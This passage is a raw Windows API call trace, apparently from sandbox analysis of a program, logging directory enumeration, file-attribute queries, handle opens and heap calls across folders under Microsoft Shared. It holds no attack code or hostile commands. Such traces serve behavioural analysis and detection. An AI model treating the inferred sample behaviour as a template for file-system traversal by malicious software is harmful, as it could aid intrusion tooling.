ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0046.510] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0046.510] GetLastError () returned 0x12 [0046.510] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.510] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0046.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0046.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.511] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0046.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0047.406] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0047.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8e690 [0047.408] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8e690, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf8e690, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0047.409] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8e690) returned 1 [0047.411] NtClose (Handle=0x18c) returned 0x0 [0047.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0047.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0047.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0047.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0047.417] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0047.421] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.424] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0047.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.434] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0047.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.440] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0047.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.442] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.443] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.444] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.444] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.445] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0047.446] GetLastError () returned 0x12 [0047.447] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0047.449] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0047.453] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.455] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0047.456] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0047.456] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0047.458] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0047.460] GetLastError () returned 0x12 [0047.460] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0047.461] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0047.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0047.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0047.464] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0047.466] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0047.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0047.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0047.472] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0047.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8e690 [0047.474] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8e690, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf8e690, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0047.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8e690) returned 1 [0047.476] NtClose (Handle=0x184) returned 0x0 [0047.477] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0047.478] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0047.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0047.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0047.481] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0047.485] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.489] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0047.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e088 [0047.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9caf0 [0047.496] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.497] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0047.498] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0047.498] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0047.499] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.501] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.501] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.501] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.502] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.504] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e0a8 [0047.504] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9cb78 [0047.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.505] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0047.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.509] RtlAllocateHeap 